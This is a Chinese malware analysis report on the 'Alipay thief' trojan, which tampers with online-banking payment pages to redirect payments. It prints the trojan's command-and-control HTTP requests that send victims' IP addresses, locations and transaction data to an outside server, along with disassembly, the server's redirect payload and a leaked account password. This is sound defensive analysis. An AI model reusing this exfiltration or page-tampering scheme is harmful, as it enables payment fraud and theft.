支付宝大盗
发布时间:2011-12-12   作者:启明星辰

支付宝大盗是用MFC类库编写的后门程序,可以截获被感染者的网上交易信息并对其实施自由控制。即插入到支付宝页面和用户网银之间,向正在进行网上付款的用户发送伪造的支付宝页面,使得用户将本应付给支付宝的钱打到黑客账户中。

 

木马描述及原理简介:

拷贝系统的cmd.exe到Documents and Settings\Administrator\「开始」菜单\cmd.exe,拷贝自身到Documents and Settings\Administrator\「开始」菜单\good.exe
以CREATE_SUSPENDED方式创建cmd.exe的进程,命令行参数是:Documents and Settings\Administrator\「开始」菜单\cmd.exe,读取自身内容到cmd.exe进程。之后启动cmd.exe进程,使其跑起来。

 

创建线程,线程函数是00414A12
本线程主要功能向199.192.153.254 发送请求信息,网络数据格式如下:
GET //Inc/Tip.Php?UserName=woshunfa568 HTTP/1.1
Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://199.192.153.254//Inc/Tip.Php?UserName=woshunfa568
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Host: 199.192.153.254
Cache-Control: no-cache
接受到黑客服务器返回信息如下:
34 7C CF B5 CD B3 B2 BB  D6 A7 B3 D6 00 00 00 00  4|系统不支持
之后弹出提示对话框 “系统不支持”,进程退出。

以下开始分析cmd.exe进程
每隔一段时间,以 00415413为线程函数,创建线程。本线程主要是向服务器请求资源,有三种请求:
www.sudu.cn请求, 网络数据如下:
 GET / HTTP/1.1
 Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flas h, application/vnd.ms-excel, application/vnd.ms-powerpoint,  application/msword, */*
 Referer: http://www.sudu.cn/
 Accept-Language: zh-cn
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
 Host: www.sudu.cn
 Cache-Control: no-cache
 本请求,目前没有收到任何回复内容。

向199.192.153.254 请求以下资源:
 //Api/163/Post.Php?UserName=woshunfa568&Bank=ICBC&Money =88
 网络数据如下:
 GET //Api/163/Post.Php?UserName=woshunfa568&Bank=ICBC&Money=88 HTTP/1.1
 Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flas h, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
 Referer:http://199.192.153.254//Api/163/Post.Php?UserName=woshunfa568&Bank=ICBC &Money=88
 Accept-Language: zh-cn
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
 Host: 199.192.153.254
 Cache-Control: no-cache
 目前,服务器返回为chen259625|f147258|88888|88888|88888|88888 如下图:

 


 
 经过分析, chen259625和f147258分析别是人人网的登陆账号和密码。

 

向199.192.153.254 请求以下资源: //Api/163/Postyc.Php?UserName=woshunfa568
 网络数据格式如下:
 GET //Api/163/Postyc.Php?UserName=woshunfa568 HTTP/1.1
 Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flas h, application/vnd.ms-excel, application/vnd.ms-powerpoint,  application/msword, */*
 Referer: http://199.192.153.254//Api/163/Postyc.Php?UserName=woshunfa568
 Accept-Language: zh-cn
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
 Host: 199.192.153.254
 Cache-Control: no-cache
 目前服务器返回为00|00。

 

以00415CE5为线程函数创建线程。
本线程首先连接http://www.ip138.com,获取当前被感染机器的外网IP地址,位置信息。 并以如下格式组织网络数据,并向199.192.153.254发送。
UserName=woshunfa568&Bank=AliPay&Money=ip[.]&BackUrl=系统 […]&Wfacai=位置[…]
 

 本机实际组织后的发送数据如下:
 GET//Post/Post_AliPay.Php?UserName=woshunfa568&Bank=AliPay&Money=ip%20[219.2 39.50.205]&BackUrl=系统%20[WinXP]&Wfacai=位置%20[北京市%20电信通] HTTP/1.1 Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flas h, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
 Referer:http://199.192.153.254//Post/Post_AliPay.Php?UserName=woshunfa568&Bank=A liPay&Money=ip [219.239.50.205]&BackUrl=系统%20[WinXP]&Wfacai=位置%20[北京 市%20电信通]
 Accept-Language: zh-cn
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
 Host: 199.192.153.254
 Cache-Control: no-cache

 

目前,服务器返回数据为: AliPay20111207094345。很明显。 其中的20111207是本次通信的日期。

 

监控当前光标下的窗口,获取该窗口类名,若类名是” Internet Explorer_Server”,即是网页窗口。则获取网页源码,相关代码如下:
 _0:00415FBA                push   ebp
 _0:00415FBB                mov    ebp, esp
 _0:00415FBD                sub    esp, 40h
 _0:00415FC3                call    sub_404EAA
 _0:00415FC8                call    sub_419887    ;获取当前光标下的窗口句柄
 _0:00415FCD                mov   ds: 004F942C, eax  ;保持到全局变量004F942C处
 _0:00415FD2                push   ds: 004F942C
 _0:00415FD8                call    sub_419937       ;获取该窗口类名
 …………………………………………………………………………………
    _00415FFD                  push   ds: 004F942C   ;窗口句柄
 _0:00416003                call     sub_419A06     ;获取IHTMLDocument2接口, 有了IHTMLDocument2接口就可以操纵网页元素,并篡改了。

 

获取了IHTMLDocument2接口,随后获取网页源码,并查找交易金额等信息,匹配查找要篡改的网上银行支付页面。也即用户选择了 “登陆网银” 来付款(图一),并进入如(图二)的页面。

 

最终调用0041A1CB函数,本函数主要功能是向199.192.153.254发送当前的交易信息。这是篡改支付页面的第一步。
 _0:0041B96E                 push    offset aIcbc    ; "ICBC"
 _0:0041B973                 push    ds: 004F9358  ;保存的银行名如”ICBC”
 _0:0041B979                 call     Strcmp
 比较当前选择了哪个银行,"ICBC"是中国工商银行,所有的可能银行ID如下:
 ICBC,B005,020401,CCB,B007,010201,ABC,B008,020404,CMB,B006,010101,BOC,B004,01040 2,COMM,B017,BCOM,010501,SPDB,B009,020407,CIB,B012,020414,GDB,B015,020411,CEB,B 018,020419,CMBC,B011,020409,CITIC,020412,SDB,B014,020410,PSBC,POST,020418,CPSRB,S PABANK,B020,PAB,020425,SHRCB,SRCB,020417,SHRCC,SHBANK,SHB,020430,NBBANK,NBCB,  020432, HZCB, HZB, 020424,  BJBANK, B016,020420,BOB, BJRCB, 020422, FDB, WZCB
 
交易信息包括用户名,银行ID,交易金额,订单ID等,以下是组织格式:
 Api/HuaQi/Get.php?UserName= woshunfa568 &Bank=… &Money=…
 组织发送数据的相关汇编代码:
 _0:0041C7BE loc_41C7BE:                          
 _0:0041C7BE                 push    ds: dword_4F9348 ;交易金额
 _0:0041C7C4                 push    offset aMoney    ; "&Money="
 _0:0041C7C9                 push    ds:off_4F9380  ;即是之上列举的银行ID
 _0:0041C7CF                 push    offset aBank     ; "&Bank="
 _0:0041C7D4                 push    ds:dword_4F949C  ;用户名woshunfa568
 _0:0041C7DA    push  offset aApiHuaqiGet_ph ; "Api/HuaQi/Get.php?UserName="
 _0:0041C7DF                 push    ds:dword_4F9430
 _0:0041C7E5                 mov    ecx, 7
 _0:0041C7EA                 call     sub_401268   ;拼接字符串
 _0:0041C7EF                 add     esp, 1Ch
 _0:0041C7F2                 mov     [ebp+lpMemOfHttpHead], eax
 
 最终组织后,实际发送内容如下:
 POST //Api/HuaQi/Get.php?UserName=woshunfa568&Bank=ICBC&Money=2.00 HTTP/1.1
 Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flash,  application/xaml+xml, application/x-ms-xbap, application/x-ms-application, */*
 Accept-Language: zh-cn
 Content-Type: application/x-www-form-urlencoded
 Accept-Encoding: gzip, deflate
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR  2.0.50727; .NET4.0C; .NET4.0E)
 Host: 199.192.153.254
 Content-Length: 95
 Connection: Keep-Alive
 Cache-Control: no-cache
 _form_token=SGGk5mNciWhRMo86eDwVKDtOO3ENwzgo&orderId=b12de145ea5d38eed7 29af2559f2e740&den=doPay
 

 黑客服务器返回内容如下:
 <title>...... - ......</title>
 <center><p>.....................</p></center><br />
 <form name=accountForm method=get action=alipay/send1topay.asp id=accountForm>
 <input type=hidden name=price id=price value=2.00>
 <input type=hidden name=wjrbank id=wjrbank value=ICBC>
 </form>
 <script> document.forms[0].submit() ;</script>
 
 支付宝大盗就是以此内容为依据,篡改网银支付页面。

 

网银支付页面(图二)被篡改后,当用户点击“登录到网上银行付款”,发送的是如下:
 
GET //Api/HuaQi/alipay/send1topay.asp?price=2.00&wjrbank=ICBC HTTP/1.1
Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flash,a pplication/xaml+xml, application/x-ms-xbap, application/x-ms-application, */*
Referer:http://199.192.153.254//Api/HuaQi/Get.php?UserName=woshunfa568&Bank=ICBC &Money=2.00
Accept-Language: zh-cnAccept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR  2.0.50727; .NET4.0C; .NET4.0E)
Host: 199.192.153.254
很明显已经被篡改了,而且是根据之前黑客服务器返回内容篡改。黑客服务器在接到此 次请求后,应该会向真正的支付宝服务器发送欺骗信息,以使支付宝服务器还是向网络购物者所在机器发送网银支付页面(图六)。只不过接收账号是黑客的支付宝账号了。

 

小结
 

 
网购者最终收到的网银支付页面(图六),也是由支付宝服务器发送来的正常页面。只是接收账号是黑客的。正常的接受账号是“支付宝(中国)网络技术有限公司”,而现在却是“支付宝支付”。

而且从图上可以看出,支付宝大盗向黑客服务器发送woshunfa568&Bank=ICBC&Money=2.00,是开始篡改页面的第一步骤。所以这是关键的特征。


用户网购时,应留心的可疑现象,以及防范的方法:

 

本木马是篡改“网上银行”的支付页面(图二)。若用户选择了“登录网银”,并进去(图二)所示页面,就有被盗取的可能。
 


      
                       (图一)

 

若选择“登录网银”来支付,进去(图二)所示页面后。木马会篡改按钮标题“登录到网上银行付款”为 “正在初始化控件请稍后”提示,之后很快恢复正常。过程很短暂,一闪而过。

 


  
         (图二)正常按钮标题

 


    
     (图三)篡改后的按钮标题

 

点击“登录到网上银行付款”按钮,正常返回页面如(图四),浏览器地址以https://netpay.cmbchina.com开头。
 

 

        (图四)正常返回页面

 而被支付宝大盗篡改后,点击“登录到网上银行付款”按钮,非正常的现象有:


 1.提示“正在处理在,请稍后….”,浏览器地址以http:// 199.192.153.254开头,且包含&Bank=,&Money=

 2.之后,提示 “我们正在为您连接银行,请稍后….” ,且浏览器地址以http:// 199.192.153.254开头如下图

 


 
           (图五)
 

最终返回页面如下:本页面也是由支付宝服务器返回,只是有两处异常。

 


 
      (图六)最终返回页面

 

参考(图四)和(图六),会发现两处差异。1.金额和自己的交易金额不符。本木马作者为保险计,只偷取很少的金额,本例为1.00元。2.正常的接受账号是“支付宝(中国)网络技术有限公司”,篡改后的是“支付宝支付”。红线圈住的地方,要非常留意。
总之,网购时,发现有上述的可疑现象,则确定是感染了支付宝大盗木马。应立即关闭页面,停止交易,避免损失。

 

解决方案:
1、 更新至启明星辰最新事件库

文章来源:http://www.venustech.com.cn/
  • 公司总部 | 分支机构 | 法律声明 | 投资者关系 | 400-624-3900 800-810-6038
  • © 启明星辰1996-2015 版权所有 京ICP备05032414号 京公网安备11010802024551号